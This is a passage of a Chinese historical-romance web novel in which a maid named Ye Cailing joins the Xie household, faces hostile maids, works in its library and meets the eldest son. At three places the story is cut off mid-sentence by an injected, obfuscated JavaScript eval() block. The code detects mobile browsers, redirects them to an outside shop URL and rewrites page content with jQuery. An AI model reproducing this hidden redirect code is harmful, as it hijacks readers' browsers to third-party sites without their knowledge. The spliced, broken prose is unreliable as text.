说不清当时是处于怜悯或何意，大抵是听到对方亦知些制墨，他才出手搭救，算是一瞬的惺惺相惜。 但他并无甚交流之愿。 谢泓轻叹一声：“不必了，当初我本无留她之意。不过搭救一把便是。” “小的明白。”云白道：“只是已安排叶姑娘入府，是否需将她请出？姑娘的卖身契——” 谢泓挥一挥手。 云白打小跟着谢泓，此刻自然明白主子的意思。 那是全权交给他去做的意思，意味着主子并无心思插手此事。于是云白心领神会，也退出去。 * 叶采苓身在府中，自然对家中情况不知晓。 此刻她站在院子中央，另外几个丫鬟在甩下那句不怀好意的话之后，已经嬉笑着离开。 院中静下来，她抿一抿唇，望了一眼周围。 朝南的厢房里影影绰绰能看到人影，大抵是刚刚离开的丫鬟们。院内四间厢房，似乎都有人住的样子。 她脚步没有迟疑，绕开人最多的南厢房，拣选了一间人少些的。初来乍到，要先摸清形势，既然见对方无甚好意，她也不会上杆子去哄着。 今日这么一闹，天有些擦黑了。她选的那间厢房内一个丫鬟正靠里卧着，见到有人进来，懒懒地起身，掀开蓝云纹撒花的薄被。 “你要住这厢么？” 这丫鬟声音意外地有些沙，不似刚才闻笛她们那边脆亮。 她道：“若你住，这里连你共住三个人。” 叶采苓温声应道：“正是。” 对方略一点头：“我名青棠。”便又转回去卧着了。青棠似乎并无甚深交的意图，但也没有对她的到来表示抗拒。 叶采苓心里微舒一口气，在唯一空出来的卧榻上坐下。 谢府果然是大户人家，即使是家仆的住所，地面也用了水磨石，踩上去不生尘土。三垂的虾须帘略略隔开丫鬟们的卧榻。 她这张卧榻尚未有铺盖，只有空空的一张藤席。 青棠已经休息。她身边的卧榻尚无人回来。 “叶姑娘——” 门口许嬷嬷唤她。叶采苓闻声出去，望见许嬷嬷身后跟着两个梳双丫髻的小丫头，看身量八九岁的光景，倒是和蘋娘相似。 “来，给你们染墨姐姐收利索了。” 两个小丫头低头称是，言语间已经抬着手里的包袱进了厢房。 “嬷嬷这是做什么。” 叶采苓心道不妙，这院子里已经有了没来由的敌意。许嬷嬷这么一出，怕又要有丫鬟盯着了。 许嬷嬷呵呵笑：“染墨，莫和我老婆子客气。我也是帮石青小哥跑这一遭。” “对了，谢府丫鬟须得更名。旁人言说是大公子特意指了染墨这名字给你呢。” 言语间很有几分亲昵的样子。 实则许嬷嬷夸惯了嘴，此刻顺势夸赞叶采苓一番。这个染墨的名字是谢管家按谢府规矩起的，到了许嬷嬷嘴里便变成了大公子爱重。 但许嬷嬷胸有成竹，心道现在多捧着些这位苓娘准没错，将来苓娘若得了看重，她也能落着好。 此些小丫头们显然是洒扫惯了的，正在叶采苓推让的档口，二人已然把叶采苓的卧榻收拾整洁。铺盖用了藤紫夏布，绣了凫水的小鹅，颇为灵动。 许嬷嬷抬手拉一下叶采苓胳臂，亲切道：“有什么事找我便是，染墨你莫要不好意思。喏，小厨房给你带了食盒。” 放下食盒，她带着两个小丫头离去。 “铛——” 厢房门扇安的是黄铜合页，此刻有人用力地推了门，所以撞出响声。外面跨步进来的一人作丫鬟打扮，容长脸儿，皮肤有些黑。仿佛是刚刚和闻笛他们嬉笑的丫鬟。 此刻她拉下脸来坐到藤紫卧榻一旁。 “什么不三不四的都能来谢府。” 她声音压低，但并没有低到叶采苓听不到的地步。 叶采苓几乎一天水米未进，她方才打开食盒望，见到食盒内两小碟盛的是菜心与熏鸭脯，并一碗粳米饭，一碗豆腐汤。 此刻她挟豆腐的那一筷子便是悬在空中。 她今天佯装镇定已经太久，就好像一张藤网被击打太多次，也终于有破溃的痕迹。 叶采苓眼睛定定地望向她：“姐姐这是何意？” 丫鬟一愣，脸色更不好看，冷笑道：“莫要胡乱攀亲。闻笛说你这人心思重，现下看来果然如此。” 叶采苓：“今后大家还要同在府中,姐姐若有不快，不如眼下便和我说。” 容长脸的丫鬟又冷哼一声。 “我们院小，容不下你这座大佛。” 低头将那筷子豆腐放入口中。长脸丫鬟斜她一眼，指着她卧榻说。 “你这规制不对。三等丫鬟的份例里没有这些。” 叶采苓轻声问：“姐姐要染墨如何做?” “那——”长脸丫鬟显然有些意料之外，没想到对方是个软和的，她便道：“撤了这铺盖，众人眼睛都看着呢。” 叶采苓：“如若这样，染墨今日睡何处呢，只能睡这空床板么？” 长脸丫鬟眼睛一斜，道：“那与我何干？” 叶采苓温温柔柔一笑，居然没有理睬这话。她转脸问躺在卧榻之上的青棠：“青棠姐，食盒吃完了，该放到何处？大家明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464243|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日须得做事，我想着还是早些歇息才好。” 不能退。不能再退让了。她心道。自己初来乍到忍让些没错，但如果一退再退，只能被人当成软柿子狠狠拿捏。刚刚那么一问已经知道这人的确是故意刁难，那么此刻能争取的大概只有青棠，须得让自己和她利益一致。 她只得抛出早些歇息这个由头。丫鬟每日晨起的时间有定数，此刻她估摸着也到了入眠的时候。 青棠：“明日会有小丫头来取。是得早些歇息了，杏云。” 这话对着的果真是杏云。 青棠真性情惯了，也没想着像其他丫头一样着力攀关系，便有话直说。她此刻确实是想着入睡。 杏云一时失语。本以为叶采苓是众人口里说的年纪尚小的丫头，好拿捏也好吓，想连敲带打让这丫头服她，没成想吃了个软钉子。 片刻后她气道：“我今日偏不在这里歇。你要愿意和这野丫头住一厢，你便住就是了。” 言罢重重地收起自己的被褥，带着便去其他厢房了。 * 次日早上，有人将丫鬟们的早点送到院落里。 青棠听到那熟悉的铃响，支起身子对叶采苓道：“染墨，记得去取自己的早点份例。” 叶采苓点头称谢。 她到院内石桌旁的时候，见到食盒里还有一份酥酪，并半摞糖饼。闻笛站在一旁望，见状制止她取早点的手：“府内人员名册尚未变动，这份例是杏云的。” 叶采苓道：“那我的呢？” “我怎么会知道？”闻笛道：“谁让你进府的，你便问谁罢。” 她吃准这丫头看着柔弱的紧，年岁又尚小，不敢多言。 “哦。” 叶采苓一边应着，一边抬手就把食盒里的糖饼取出来了。 “你听不懂我说话？”闻笛脸色微变，道。 叶采苓摇摇头：“自然是听得懂，只是我既然进府，何来无份例之说？” 闻笛：“我这里并无你名册。” 少女已取了早餐，转身离开了。叶采苓并不回头望，若知道对方是有意挑衅，她便特意连眼色也不留。 青棠见叶采苓回来，依旧淡淡吃她的粥。 院外传来人声，青棠放下碗筷。 叶采苓见青棠动了，便也跟着走出门去。 院落中央站一个纤瘦高挑的女子，做丫鬟打扮，却能看出来衣料用得都好。 她鬓发并不算很长，挽一个青螺髻，头上簪一支素银海棠步摇，恰如其分又不喧宾夺主。 “丹琴姐！” 杏云已经站在那里，与这大丫鬟热烈地打了声招呼，语气里很是亲昵。 “丹琴姐此番回来，舟车劳顿吧。看着你好像比离开云州的时候身量瘦了些。” “哪里，一路上尚能休息。不过真的有清减么？” 丹琴也笑道。 “好了。杏云，人都到齐了么？”她见院内人逐渐站齐，便打住了寒暄。 杏云觑一眼院内，道：“大抵是齐了，只是有个来路不明的丫头，丹琴姐听说了吗？这丫头是好吃懒做没起来，旁的人倒是都到了。” 叶采苓把这对话听到耳朵里，心里暗叹。杏云这种坏到明面上的丫鬟也真是少见些。 丹琴没有做什么反应。对这种明显拜高踩低的话，她作为得力大丫鬟心里一向是有数的，明面上并不会有何区别。 叶采苓上前福了一礼：“婢子染墨，见过丹琴姐姐。” “唤我丹琴姐吧，听着舒心些。”丹琴笑道，对她并无特殊对待。 见院里八个丫鬟已到齐，她正色起来，言道公子要在云州居半年，内宅需要丫鬟。 “先与诸位讲清份内职责，有擅长的便可直接与我说。” 丹琴道。 这边是要选人了。谁能在大公子身边，谁又只能去做洒扫看家的粗活？ 杏云已经跃跃欲试，叶采苓站在众人最末处，心里也难免盘算起来。 5. 第 5 章 丹琴心里则是直打鼓。 她跟着大公子离乡许久，此刻对府内丫鬟早已不甚熟悉。而偏偏这几个家生丫鬟见了她却看着一个比一个亲热。 自然是想讨好她的。 但讨好她是真的无甚用处。 大公子这人是芝兰玉树没错，但只有她们这些近人才知道，大公子的要求也是极高的。等真的到那个位置，怕也是会和她一样步步谨慎，哪里有什么跟着主子享清福一说。 丹琴轻叹一声，望着前面这几张热切的面孔，只道：“一个一个来说罢。” 杏云本就站在最前面，此刻已然抢先一步开始毛遂自荐。 “婢子是南院李十一婶家的，自幼跟着李婶子学针线女红……” 她长长一串讲完，望着丹琴，眼睛里十分期待。大概是希冀着能直接选上她。丹琴却没有理会，而是让几个丫鬟依次介绍。 尚未轮到叶采苓时，院门却有人唤她的名字。 “叶姑娘——” 并没有唤她为染墨？ 叶采苓有些疑虑地走出去，面前是谢管家及一名不认识的青年，作长随打扮。 谢管家手里拿着她的身契，与她细细讲了今日的来龙去脉。 言道叶采苓本有自己的生计，公子宽仁，当日只是出手搭救于她。此后叶采苓便可以出府，继续之前的生活。 “云白，你把叶姑娘的身契交于她吧。”谢管家道。 当那张落着红印的薄纸落在叶采苓的手上之时，她自然喜悦。 但接下来脑子里设想的未来却令她渐渐清醒起来。 回家？ 之前长兄叶大已经把她卖得如此利落，丝毫没留情分。倘若此时回家，她一个小姑娘并无甚武力，若再被叶大卖一次呢？ 到时她还会反抗么，还有什么底牌可以反抗呢？ 思忖到这层，她显然有些迟疑了。 云白有些急。 公子还要叫他回去复命，这小姑娘此刻愣在这里，也不说走与不走，是何意？ 谢管家是见过当日叶采苓的伶俐的，此刻便也知道她是个有主意的，就抬手让云白莫要出声。 叶采苓犹豫了片刻后，却忽地将那身契向前推，又交还回云白的手中。 “谢管家，云白小哥。” 少女言辞恳切，望着两人，道：“染墨无才，愿留在府中，做些粗使活计也好。” “为何？” 云白确实不解，但谢管家见识颇多，心下知道她心中有盘算。 果然，叶采苓娓娓道来。 自己长兄好赌，回去后并无出路，之后又道自己在印坊做得也得心应手，她知晓谢府内人丁兴旺，大抵也需要类似印坊帮工之类的丫鬟。 “但——” 云白又想到一事。让她出府是大公子的意思，若再见到她，岂不是忤逆了大公子。他说了顾虑，谢管家道：“无妨。” “若是担心大公子那边，我倒是想到有一处，便合适叶姑娘。” 谢氏族学，底蕴深厚。内设书库，藏典籍并各地州志府志。 前日里司书的嬷嬷因眼疾告退。现下正缺个得心的人。 * 文思书阁。 “经史部甲三十七架。” 纤细手指拂过随墙书橱之上，少女轻轻念出声，低头对照手里的书册。找到对应的典籍后小心地将它取下。 “甲三十七架。” 另一名婢女低声复诵后，接过典籍放在木质托盘上，在手中册子圈划了一笔。 合上书册，叶采苓走出这一藏书阁的门，小心地抬手拉住门环，用了些力。 沉重的大门方才缓缓关闭，她又抬手落锁。 这是她在文思书阁的第三月。 书阁管理近乎严苛，管事的嬷嬷与丫鬟们都须得双人成行。此刻等待取书的族学子弟正在外头候着。 “两位姐姐，今日的书不好寻么？”能在藏书阁借阅典籍的谢氏子弟，自然也是身份不俗的。 此刻那人并不去接书，自有机灵的小厮跑上来去接托盘。 “阁内书一向多，知道规律便好寻。书在此处了，只是你要记得归还时间，若是逾期了须得和大管事讲呢。” 月茜也乖觉，不去看借书人，只对着小厮道。 一行人走出书阁，叶采苓将托盘递给跑腿的小仆。又请对方在册子上按下指印。 一套流程走得熟稔。 两位婢女均是身量纤纤，着书库统一形制的湖色绉纱迭裙并霜蓝半臂，此刻袅袅婷婷向外行。伴着书阁的扶疏花木与湛然湖水，倒是一道漂亮风景。 此次取书算是结了，两人有说有笑地往前行。月茜想起什么事，低头开始点数起叶采苓的钥匙。 钥匙这里，亦是文思书阁特有的管理规矩。一应书籍都得在书阁妥善保管，书籍仅限族内子弟借阅，每次取后都得再确认一番钥匙是否收妥。 正因如此，月茜没有注意到前方一道人影。 那人似是带着些捉弄意味，特意快走两步，使得叶采苓来不及去扯月茜。 “哎！你——” 月茜鼻子撞到对方胸膛，吃痛出声。抬头正要抗议，却撞进一双闪着玩味笑意的眼。 “啊，是，是三公子。” 她本来带着气的，此刻脸上却飞起红。 谢三公子惯是风流，自从有次来书库见过这两名貌美婢女后，就时常来此处调笑。 叶采苓同样低头唤了一声三公子，表情无甚变化。 三公子打量了一下面前这两名小婢女，撇下板着一张凉水脸的叶采苓，转头对月茜温言软语去了。 叶采苓在一旁望天。 虽然是有貌美婢女做通房之类的先例，但叶采苓看在眼里，并不觉得有甚好处。 她已经知晓了寄人篱下的滋味，便只想着攒些银子出府，远离云州这个好赌的哥哥。 但月茜的想法，她就无从得知了。 若她阻了月茜想攀高枝的心念，怕月茜只会从此记恨上自己。想通了此关节，她就垂手在一旁立着。 三公子自诩风流，只当着人的面，也不会做出什么出格举动。 果然，几句话后两人便分开，月茜扯叶采苓的衣袖，声如蚊讷：“染墨，我们走罢。” 叶采苓见她脸颊绯红的小女儿情态，心下无奈。 “走罢。” 书阁临湖，青石板路上微微泛着些湿润。叶采苓走在这里，先想的是书阁若走水，可及时汲取湖水救火。 又想到书阁钥匙繁杂，怕是无法及时开锁。 忽地她扯住身边的月茜，月茜还在少女情思里无法自拔，此刻望着叶采苓一愣。 月茜：“染墨，何事？” 叶采苓正色问道：“月茜，刚刚的钥匙点数完了么？你与三公子撞在一起的时候，有无什么东西落地的声音？” 月茜啊一声，道：“我似是数过，大抵没有事吧——” 她心道不妙，对叶采苓急道：“不行，染墨，我们须得再数一遍。” 两人立即止住脚步重新点数过。 “数量不对。” 叶采苓反复点数两遍，最终出声：“我们快回去寻！” 两人顾不得许多，二话不说，立即提了裙角飞奔回去。 三公子似是择了另一条路，返回的路上没有遇到他。两个司书婢女在路上弯腰找了许久，都没有钥匙痕迹。 “完了。” 月茜攥紧手里的钥匙串：“书库钥匙丢在我们手上……怎么办啊染墨？” 叶采苓再次叹息，按理说她入库之前是点数过钥匙的。想来若是什么时候丢过，也只能是刚刚和三公子撞上的那个档口了。 但此刻月茜见六神无主的样子，她也无法再埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464244|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨月茜什么。 只道：“钥匙大抵是在三公子身上，但我们也无法联系上三公子。” 话音一落，叶采苓也是一愣，有些懊恼。 她刚刚在想什么？ 文思书阁独立于谢府各院，她们只受大管事的管理，此刻却生出了敢私自联系主子的念头。 叶采苓：“此言不妥，你当我刚刚没说过。” 月茜点点头，又道：“我们再去各处寻一寻好么，保不齐被猫儿叼了去。” 月茜大抵是真急了，此刻连这些理由也敢扯。 叶采苓心知她急，便也点头同意，只当安慰对方。 她想着，现在再四处找找，若真寻不到，也只能向嬷嬷上报。嬷嬷报给大管家，之后换掉那间书库的钥匙便是。虽然少不得责罚，于她们而言则是按规矩办事。 若是真的私自联系三公子，到时候一旦事发，主子自然无事，倒霉的只会是他们两个。 两个人各揣着心思且走且寻。 快走到林子里的时候，叶采苓终于喊停。 “月茜，我们走得也不近了，大抵是寻不到。不如直接报给嬷嬷？” 月茜一口细白贝齿咬着。 “要不，要不我们再寻寻那人？” 她以口型做出三公子，示意叶采苓看，大抵是不敢高声说出这人。 叶采苓猛地摇头，正要出口拒绝，却见月茜忽地露出娇怯神色。 女儿家见到外男，多的是露出这种情态。 她以为三公子又来，转头望向来人。却撞见一张意料之外的陌生面孔。 青年面容冷淡，静静地立在松竹之下，明明是温如月华的一双眸子，却让人无端觉得里面藏着一泓清冷寒潭。 他只是站在那里，就像一幅矜贵的名家山水。 府内有这等气质的，只可能是—— “大公子。” 月茜此刻立即反应过来，已经弯腰福了一福。 她今日是什么运气，连着见到两位谢氏的俊秀公子——尤其是谢探花，说是回乡不久便要又回京城了。 此刻她见到对方隽秀斯文的眉眼，月茜后知后觉地感到自己的脸又开始发热了起来。 此刻一个机灵的少年已经自谢泓身后出来，对两位婢女拱了个手，正是石青。 “两位姑娘，我是石青，敢问两位是否在寻东西？” 石青从怀里掏出一物，正是那遍寻不得的钥匙。 月茜伸手去接，连连道谢。 石青大大咧咧道：“无事，我们也是路上拾得的，预备着交还书阁。” 谢泓这种身份，身边跟着的得力长随小厮自然是有的。除非像三公子那样存了拈花惹草的心，才会特意屏退小厮，独个往书阁来。 石青面上打着哈哈，心道还好刚刚公子拦住了三公子。望着三公子便不像是去借书的，大公子问了两句便编不下去了，垂头丧气把钥匙给了。 见事情处理妥当，谢泓道：“事情办妥便可。我们此番前来需寻一卷《明安县志》，大周元年编纂的，敢问两位司书是否知晓在何处？” 从容而温缓的声音。 和当时车上那人如出一辙的声音。 原来当时救了自己的人，便是这般谪仙样的清贵姿态么？但当时他要将自己放出府去，自己先下却在这里做着工，会不会忤逆了他的意？ 叶采苓尚在发愣。 “染墨，染墨。”月茜听明白了大公子的意图，使胳膊肘轻轻推了推叶采苓。 她一向不擅长记忆，偏染墨这丫头来的时间不久，记事确实厉害着。若是她此刻能记得，二人便不必再去总库再查询一趟了。 月茜：“大公子问大周元年的《明安县志》呢，你记得存放在那一库么？” 叶采苓有些艰涩地抬头，心念复杂。 “……记着的。” 她道。 6. 第 6 章 “《明安县志》在经史部，依年份归置。其中大周元年的应是置于乙四十九架。” 她道。 谢泓点点头。 “那我们便在此静候了。” 他眼神宁静无波，态度无可指摘，带着恰到好处的礼貌与疏淡。 如同松枝上的一捧雪。 那话是对着她说的，叶采苓便微福一礼，眼睫低垂，语气亦沉静温婉。 “是。婢子这就去取。” 此刻关于谢探花的所有传言终于具象起来。 月茜拉着她手，两人转身再回文思书阁。回去的路上，月茜瞧了她好几眼。 “怎么了，染墨？你看着有些不对劲。” 叶采苓不动声色地敛去刚刚的忐忑神色，轻笑着圆过去：“刚刚担心自己说错呢。还好点对书架了，没有出差错。” “是呢。”月茜便点点头，她一向大大咧咧，并没有察觉到什么。 叶采苓却在心里微哂，笑自己刚才那一瞬间失序的心跳。 大公子说一不二确实是没错，当初要她出府的人是他，也没错。 但对方此刻显然一副不记得她的模样。 是恩人又怎样？ 又不是话本子里那些绮丽故事。 所以她所谓的无措与慌张，大抵都无需再提。 * 回到厢房天已黑。 掌事嬷嬷在院内灯笼下等，见两人一前一后回来方才放心，数落道：“你们两个惯是冒失的，哪日等天再黑些回来，怕是要一头撞到阎王爷了。” 明嬷嬷惯是刀子嘴豆腐心，此刻也是担心她们晚归的安全罢了。 月茜眨眨眼，与叶采苓相视一笑，对掌事的明嬷嬷笑着讨饶。 回到厢房，烛火已经点好。 昏黄灯光下叶采苓见月茜迟疑一会，仍是不躺下，便知道她又有话想说。 叶采苓：“怎么了？” 人在夜晚大抵容易想说话，月茜没头没脑地道：“染墨你说，世间的好怎么会都让人给占上呢？” “你莫不是又想起三公子了？”叶采苓摇头。 月茜之前似是和三公子见过，此刻见她情态，想必是又萌动了少女心思。 但月茜却摇头：“不，是谢探花。” 叶采苓一愣。 她道：“谢探花不是才回云州城没多久么？” 月茜好像又来了精神，道：“是呀，所以府内婢子几乎都没有见过他呢，除了他们院子里的几个。我明日便要和青棠她们几个去好好说一通。” “说什么？” 叶采苓一向觉得月茜思维活跃得像林中奔跑的兔子。她本人也活泼，明明与叶采苓都是十四五的年纪，后者持重得不像她的同年人。 月茜：“之前我每次问大公子院子里的人大公子是什么样子的，她们都神神秘秘的不与我提。呀，谁承想谢探花生得这么好看。” 叶采苓：“能被御前钦点成探花郎的人，怎么会有丑的道理。” 她想起自己当初与那几个大丫鬟的一面之缘，觉得杏云之流的本性大抵不会那么低调。又摇摇头道：“至于长相，想必是大公子不喜，刻意让她们不要多言罢了。” 谢泓确实如传闻中一般，虽然已经点探花、入翰林，却在谢府都十分低调。前些日子传言他到了返京城之日，却仍在云州逗留。所以老夫人也极高兴，留着自己的嫡长孙多住些时日，说是要住到浴佛节之后。 想到这一关节，叶采苓又问： “对了，明日还有哪个院子需得抄写佛经么？” 月茜一拍腿；“啊，险些忘记了——大公子院子里还使钱让我们抄经书来着，明日须得送去。染墨你这里有写好的么？” “有的，只是要再催一催各院，有急用便须得提前说，莫要再耽搁了。” 再过旬余便是浴佛节。 谢府老夫人一向虔敬，每到这个时候都须得发动府内上下一同礼佛，首当其冲的便是手抄佛经。 各院为表孝心，都暗自比着佛经数量，这风气也逐渐严苛到从数量上升到了质量。有些丫鬟字迹不甚雅观，便也只能休息之时日日练字。 不知怎的，有人寻到月茜，只道她们司书库的宫女日日与书打交道，想必字迹能过得了关。愿意使些银子在这里写佛经。 月茜只得摇头拒绝，道自己的字也只是勉强过关罢了。 却不料当故事说的时候，被叶采苓发现了商机。 “我可以写，你替我出去联络，我们再分成如何？” 两人一拍即合。 * 次日是两人休沐日，月茜怀里抱着几卷佛经，此刻她没能抱稳当，险些倾倒在地。 月茜：“快掉了快掉了，染墨帮我。” 叶采苓扶了一把，给她递上个空包袱，却被月茜嫌弃麻烦。 “无事，左右能给了她们便罢了。” 月茜轻快地说着，正欲出门，迎面撞上明嬷嬷。 “你们两个谁能使得针线？嬷嬷须得缝个新的药囊，眼睛是实在看不清了。”明嬷嬷到了厢房门口，下意识锤了两下腰背，开口与她们两个讲。 明嬷嬷之前常常弯腰，如今年岁大了开始犯腰痛，便常把艾草缝入药囊内，熏得热气升腾起来之后敷在腰间止痛。 但偏偏她眼睛也不甚灵。这活计便往往由书库休沐的年轻丫鬟们代劳。 叶采苓与月茜之间，月茜是更精于女红的那一个，此刻月茜便问：“染墨，今日已经与青棠那边定了时间，若是我替明嬷嬷做事的话，你去送送看？” “并非我不送，只是我与大房那边有些过节。” 叶采苓犹疑道。 月茜：“青棠姐姐还是好说话的，你去试试么。” 叶采苓想了片刻还是同意了。 她道：“若是青棠的话，大抵还是可以的。” 只是走到约定之处时，却没见到青棠人。 她抱着抄好的经书左右顾盼。 “你？” 耳边传来草叶扰动的簌簌声，院外走出来的人竟是杏云。叶采苓心下一凉。 杏云见到叶采苓，先是愣住，片刻后眼波流转，一转眼又显得自得起来。 杏云：“你不是要出府么？怎么还巴巴地在府里赖着？” 杏云抬手捋一捋额发，刻意转动手腕上的绞丝镯子。她此刻的衫子并首饰，显然比叶采苓初见她时候考究了许多，颈间带了嵌八宝的银丝璎珞，衫子上也有了细致的滚边。 想必是已经当上了她梦寐以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464245|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求的大丫鬟。 反观叶采苓，休沐日她穿得也随意，少女一张清丽脸孔未施粉黛，白净得似新剥荔枝，与此刻妆扮齐整的杏云比是有些露怯。 那又如何，气势不能输。 叶采苓把手里佛经向后一拢，站直了温声道：“我想大抵与你无关吧。青棠姐姐若是不在，我便回去了。” 杏云冷道：“呦，愿不得青棠近日偷懒的时候多了，原来她的佛经有人代劳啊。” 叶采苓却望着她，一双眼瞳静而凉，她道：“只是，你也是抱着这样的想法来的不是么？你手里攥着的是荷包吧？” 言下之意很明显，显然是也要买佛经的，怎么不希得买了呢。 叶采苓：“你要代劳么？” 杏云把荷包往怀里揣，面上却不甘示弱：“谁要与你买。” 她眼珠一转，道：“我劝你不如识趣些，这些经书抄了也就罢了，给我便是。” 叶采苓蹙眉看她，目光中满是不可思议。 她转身准备走，杏云却在她背后笑道：“我听许嬷嬷说了，大公子心善，你本就是要出府的。” “现下留在府里决计不合规矩，你猜猜，若是我去告诉大公子，你这份差事还能不能留？” 难缠。 叶采苓止住脚步回头望。心道大公子早不记得她这号人物，纵是杏云提醒了又能怎样。 她心里淡然，讲话便也无所谓：“随便你。倒是你的字还需练练，一味想着抄捷径……当心反噬自身。” 杏云脸色微变，作势要走，冷笑道：“好啊，这般硬气，那我便告诉大公子去。” “要告诉我何事？” 一道声音在她们身后响起。是很好听的音色，语调不紧不慢，若青瓷碰冰，温润有声。 ——但这也意味着此刻有人执伞立在她们身后。 又是他？两天内见了两面，此刻这声音于叶采苓而言已经足够耳熟，她不用回头，便知道声音的主人是谁。 杏云确实吓了一跳，回头望，见是自家朝夕相处的主子，立即转身深深施一礼。 刚刚与叶采苓争辩的气尚未消下去，她存了炫耀的意图，抢先对谢泓道。 “大公子，您有所不知，这位染墨姑娘先前巴巴地要进府，后来谢管家要赶她走，她却不走。奴婢今日碰到她便是要和她说道说道此事。” “说道？你要如何说道？” 谢泓眼睛望着杏云。 叶采苓无奈偏头。杏云当她自己是什么人，身为丫鬟却敢用这种语气说话么。 杏云则有种受到鼓励之感，道：“此人当初进府时便来路不明，也不知道大公子是否有印象。” 这便是明晃晃地试探了，大公子记不得，但叶采苓自是记得当初入府的情景。 闻笛并杏云两个是狠狠地嚼过她的舌根的。 见谢泓不语，杏云更得意了些，对着叶采苓道。 “喏，你听我们大公子意思。” 叶采苓静悄悄地不语。她此刻甚至已经做好准备要离开谢府了。无妨，不过是换个地方做工罢了，天底下自有容身之处。 却忽的听对面的男子自喉咙逸出一声轻笑。 “我不记得她？” “我么，我自然是记得的。” 7. 第 7 章 风自高天而来，吹动谢泓淡青袍袖，勾勒得他身姿愈发笔挺。 他望着自己手下的大丫鬟，漫不经心道： “倒是你，杏云。” “天天留心着主子行动，当初嬷嬷就是这么教你的，还是说……我院子里的丫鬟都是你这幅样子？” “婢子知错。”杏云知道自己此刻说错了话，当即重重一声跪下，认错倒是干脆。 她心知谢泓对他自己严格，对下人更是。若此刻说错了话，更无翻身的可能。 谢泓见自己敲打到位，也不多说什么，道：“自去领罚。” 杏云走了。 谢泓望着眼前的少女。她发髻有些许松散，鬓边还有绒绒的碎发，此刻因为他刚刚那句话，好似有些惊愕的样子。 白净小脸仰头望他，手里依旧握几卷佛经忘记藏起。 谢泓想起写佛经之事。 老夫人一贯看重浴佛节，但前些年似乎并没到了发动全府上下齐写佛经的地步。老夫人更重视莳花及焚香，都是各房主事的自作主张抄经，让底下的婢女小厮也不得不一齐抄起经来。 他一向觉得婢女小厮各有各的职责，所以他自从返回云州主事，便没有让自己院子里的人抄过佛经。 但前些日子有几个丫鬟却主动抄了些佛经给老夫人院子。对这种主动讨好的行为，他虽不赞同，但亦可以理解。 且他留意到，有个丫鬟的书法水平颇为不错，甚至连墨似乎都不是府中寻常领用的那种。 落纸清湛隽秀，洇焦茶之色。 他随意问过，几个丫鬟的表情却显得分外不自然。 如今谜底便是揭晓了。 果然又是她。 他唇角噙一丝笑，对眼前的少女伸出手：“这便是替她们几个抄的佛经？我能看看么？” 叶采苓眼睛望着他，分明有明晃晃的不解。她犹豫片刻，递出佛经，口中低声问道。 “大公子怎知道是我？” 谢泓接过书卷，翻过一页。 “无他。” 见面前的少女依旧神色执拗地看他，他本不欲多解释，此刻不知道怎着，对着她又道：“通文墨的丫鬟本来就无几，况且你又是我亲手招至府内的。” 叶采苓：“您其实记得我？” 谢泓淡淡地应了一声，仔细看着手里那卷经。 当初是从院子里一个丫鬟那里截下来一卷经书来着，当时他看着字迹确实有几分惊艳的意思，可是问来历之时对方却窘迫不答。 于是便生出几分好奇的心。 但此刻他凝神细看，却又忽然觉得那一笔字有些不尽如人意了。 虽是清秀，结构却有些局促，缺少些行云流水的从容。 或许是字的主人有着一副好颜色的原因？他心里叹息，觉得这样的少女，写出的字也理应和她的容色一样清丽。 叶采苓见对方只顾低头看字，出言提醒道：“大公子？” 谢泓看她一眼，忽地意识到自己刚刚想得过于遥远了，他是在以评判京城同僚的标准在看一个婢女的字迹么？一个婢女，要再好的字也无甚用处，况且她甚至不是自己院子里的。 谢泓把佛经递与她，温声道：“写得很不错。” 叶采苓倒是不信的。 她明眼看着对方从刚刚欲言又止，到话锋一转。 但她一个丫鬟，也不好反问主子，便接着之前的话道：“多谢大公子抬爱。只是这经书万万不可再退回了，婢子写了便是写了。” 她真诚道：“您收着，便当是染墨借花献佛了。得空了一同给老夫人，也是孝心一桩。” 谢泓望着面前的少女，心里更觉得她有些有趣。她显然是有些人情世故在心里的，此刻无师自通地便知道，收回佛经大抵会显得场面不好，反而是借机予个小小人情。 于是谢泓唇角那一丝笑意扩的更大些。 他对着叶采苓道：“你倒是伶俐的。” 青年人负手立在松下，语气轻缓温和，问道：“浴佛节之前老夫人要设莳花会，须得有通文墨的丫鬟做些杂活。我看你行事必能称老夫人之心，你要来么？” 见面前的丫鬟不答，他又道。 “你入府不满一年，大抵不知道。老夫人对丫鬟一向是极好的。” 其实对于旁的人，谢泓同一句话大抵也懒得再提点第二句。但此刻面前的少女懵懵懂懂的样子，他便又多言了一句。 “去老夫人那里只会对你有所助力。” 叶采苓眨眨眼。 心跳又有些快。 